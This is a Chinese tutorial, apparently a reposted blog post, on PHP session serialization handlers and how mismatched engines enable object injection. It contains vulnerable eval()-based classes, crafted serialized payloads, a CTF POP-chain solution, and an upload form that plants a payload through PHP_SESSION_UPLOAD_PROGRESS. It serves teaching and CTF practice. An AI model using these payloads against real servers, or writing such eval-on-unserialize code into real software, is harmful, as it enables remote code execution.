PHP中SESSION反序列化機制的示例分析

這篇文章主要為大家展示了“PHP中SESSION反序列化機制的示例分析”，內容簡而易懂，條理清晰，希望能夠幫助大家解決疑惑，下面讓小編帶領大家一起研究并學習一下“PHP中SESSION反序列化機制的示例分析”這篇文章吧。

簡介

在php.ini中存在三項配置項：

• session.save_path=""   --設置session的存儲路徑

• session.save_handler="" --設定用戶自定義存儲函數，如果想使用PHP內置會話存儲機制之外的可以使用本函數(數據庫等方式)

• session.auto_start   boolen --指定會話模塊是否在請求開始時啟動一個會話,默認為0不啟動

• session.serialize_handler   string --定義用來序列化/反序列化的處理器名字。默認使用php
  

以上的選項就是與PHP中的Session存儲和序列話存儲有關的選項。

在使用xampp組件安裝中，上述的配置項的設置如下：

• session.save_path="D:\xampp\tmp" 表明所有的session文件都是存儲在xampp/tmp下

• session.save_handler=files     表明session是以文件的方式來進行存儲的

• session.auto_start=0    表明默認不啟動session

• session.serialize_handler=php     表明session的默認序列話引擎使用的是php序列話引擎

在上述的配置中，session.serialize_handler是用來設置session的序列話引擎的，除了默認的PHP引擎之外，還存在其他引擎，不同的引擎所對應的session的存儲方式不相同。

1. php_binary:存儲方式是，鍵名的長度對應的ASCII字符+鍵名+經過serialize()函數序列化處理的值

2. php:存儲方式是，鍵名+豎線+經過serialize()函數序列處理的值

3. php_serialize(php>5.5.4):存儲方式是，經過serialize()函數序列化處理的值
   

在PHP中默認使用的是PHP引擎，如果要修改為其他的引擎，只需要添加代碼ini_set('session.serialize_handler', '需要設置的引擎');。

示例代碼如下：

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
// do something

存儲機制

php中的session中的內容并不是放在內存中的，而是以文件的方式來存儲的，存儲方式就是由配置項session.save_handler來進行確定的，默認是以文件的方式存儲。

存儲的文件是以sess_sessionid來進行命名的，文件的內容就是session值的序列話之后的內容。

假設我們的環境是xampp，那么默認配置如上所述。

在默認配置情況下：

<?php
session_start()
$_SESSION['name'] = 'spoock';
var_dump();
?>

最后的session的存儲和顯示如下：

可以看到PHPSESSID的值是jo86ud4jfvu81mbg28sl2s56c2，而在xampp/tmp下存儲的文件名是sess_jo86ud4jfvu81mbg28sl2s56c2，文件的內容是name|s:6:"spoock"; 。name是鍵值，s:6:"spoock";是serialize("spoock")的結果。

在php_serialize引擎下：

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>

SESSION文件的內容是a:1:{s:4:"name";s:6:"spoock";} 。a:1是使用php_serialize進行序列話都會加上。同時使用php_serialize會將session中的key和value都會進行序列化。

在php_binary引擎下：

<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>

SESSION文件的內容是names:6:"spoock"; 。由于name的長度是4，4在ASCII表中對應的就是EOT。根據php_binary的存儲規則，最后就是names:6:"spoock"; 。(突然發現ASCII的值為4的字符無法在網頁上面顯示，這個大家自行去查ASCII表吧)

序列化簡單利用

test.php

<?php
class syclover{
 var $func="";
 function __construct() {
  $this->func = "phpinfo()";
 }
 function __wakeup(){
  eval($this->func);
 }
}
unserialize($_GET['a']);
?>

在11行對傳入的參數進行了序列化。我們可以通過傳入一個特定的字符串，反序列化為syclover的一個示例，那么就可以執行eval()方法。我們訪問localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";} 。

那么反序列化得到的內容是:

object(syclover)[1]
 public 'func' => string 'echo "spoock";' (length=14)

最后頁面輸出的就是spoock，說明最后執行了我們定義的echo "spoock";方法。

這就是一個簡單的序列化的漏洞的演示

PHP Session中的序列化危害

PHP中的Session的實現是沒有的問題，危害主要是由于程序員的Session使用不當而引起的。

如果在PHP在反序列化存儲的$_SESSION數據時使用的引擎和序列化使用的引擎不一樣，會導致數據無法正確第反序列化。通過精心構造的數據包，就可以繞過程序的驗證或者是執行一些系統的方法。例如:

$_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';

上述的$_SESSION的數據使用php_serialize，那么最后的存儲的內容就是a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";} 。

但是我們在進行讀取的時候，選擇的是php，那么最后讀取的內容是:

array (size=1)
 'a:1:{s:6:"spoock";s:24:"' => 
 object(__PHP_Incomplete_Class)[1]
 public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)

這是因為當使用php引擎的時候，php引擎會以|作為作為key和value的分隔符，那么就會將a:1:{s:6:"spoock";s:24:"作為SESSION的key，將O:11:"PeopleClass":0:{}作為value，然后進行反序列化，最后就會得到PeopleClas這個類。
這種由于序列話化和反序列化所使用的不一樣的引擎就是造成PHP Session序列話漏洞的原因。

實際利用

存在s1.php和us2.php，2個文件所使用的SESSION的引擎不一樣，就形成了一個漏洞、
s1.php，使用php_serialize來處理session

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];

us2.php,使用php來處理session

ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
 var $hi;
 function __construct(){
 $this->hi = 'phpinfo();';
 }
 
 function __destruct() {
  eval($this->hi);
 }
}

當訪問s1.php時，提交如下的數據：

localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}

此時傳入的數據會按照php_serialize來進行序列化。

此時訪問us2.php時，頁面輸出，spoock成功執行了我們構造的函數。因為在訪問us2.php時，程序會按照php來反序列化SESSION中的數據，此時就會反序列化偽造的數據，就會實例化lemon對象，最后就會執行析構函數中的eval()方法。

CTF

在安恒杯中的一道題目就考察了這個知識點。題目中的關鍵代碼如下：

class.php

<?php

highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);

class foo1{
 public $varr;
 function __construct(){
  $this->varr = "index.php";
 }
 function __destruct(){
  if(file_exists($this->varr)){
   echo "<br>文件".$this->varr."存在<br>";
  }
  echo "<br>這是foo1的析構函數<br>";
 }
}

class foo2{
 public $varr;
 public $obj;
 function __construct(){
  $this->varr = '1234567890';
  $this->obj = null;
 }
 function __toString(){
  $this->obj->execute();
  return $this->varr;
 }
 function __desctuct(){
  echo "<br>這是foo2的析構函數<br>";
 }
}

class foo3{
 public $varr;
 function execute(){
  eval($this->varr);
 }
 function __desctuct(){
  echo "<br>這是foo3的析構函數<br>";
 }
}

?>

index.php

<?php

ini_set('session.serialize_handler', 'php');

require("./class.php");

session_start();

$obj = new foo1();

$obj->varr = "phpinfo.php";

?>

通過代碼發現，我們最終是要通過foo3中的execute來執行我們自定義的函數。

那么我們首先在本地搭建環境，構造我們需要執行的自定義的函數。如下：

myindex.php

<?php
class foo3{
 public $varr='echo "spoock";';
 function execute(){
  eval($this->varr);
 }
}
class foo2{
 public $varr;
 public $obj;
 function __construct(){
  $this->varr = '1234567890';
  $this->obj = new foo3();
 }
 function __toString(){
  $this->obj->execute();
  return $this->varr;
 }
}

class foo1{
 public $varr;
 function __construct(){
  $this->varr = new foo2();
 }
}


$obj = new foo1();
print_r(serialize($obj));
?>

在foo1中的構造函數中定義$varr的值為foo2的實例，在foo2中定義$obj為foo3的實例，在foo3中定義$varr的值為echo "spoock"。最終得到的序列話的值是

O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}

這樣當上面的序列話的值寫入到服務器端，然后再訪問服務器的index.php，最終就會執行我們預先定義的echo "spoock";的方法了。

寫入的方式主要是利用PHP中Session Upload Progress來進行設置，具體為，在上傳文件時，如果POST一個名為PHP_SESSION_UPLOAD_PROGRESS的變量，就可以將filename的值賦值到session中，上傳的頁面的寫法如下：

<form action="index.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
 <input type="file" name="file" />
 <input type="submit" />
</form>

最后就會將文件名寫入到session中，具體的實現細節可以參考PHP手冊。

那么最終寫入的文件名是|O:4:\"foo1\":1:{s:4:\"varr\";O:4:\"foo2\":2:{s:4:\"varr\";s:1:\"1\";s:3:\"obj\";O:4:\"foo3\":1:{s:4:\"varr\";s:12:\"var_dump(1);\";}}}。注意與本地反序列化不一樣的地方是要在最前方加上|
但是我在進行本地測試的時候，發現無法實現安恒這道題目所實現的效果，但是最終的原理是一樣的。

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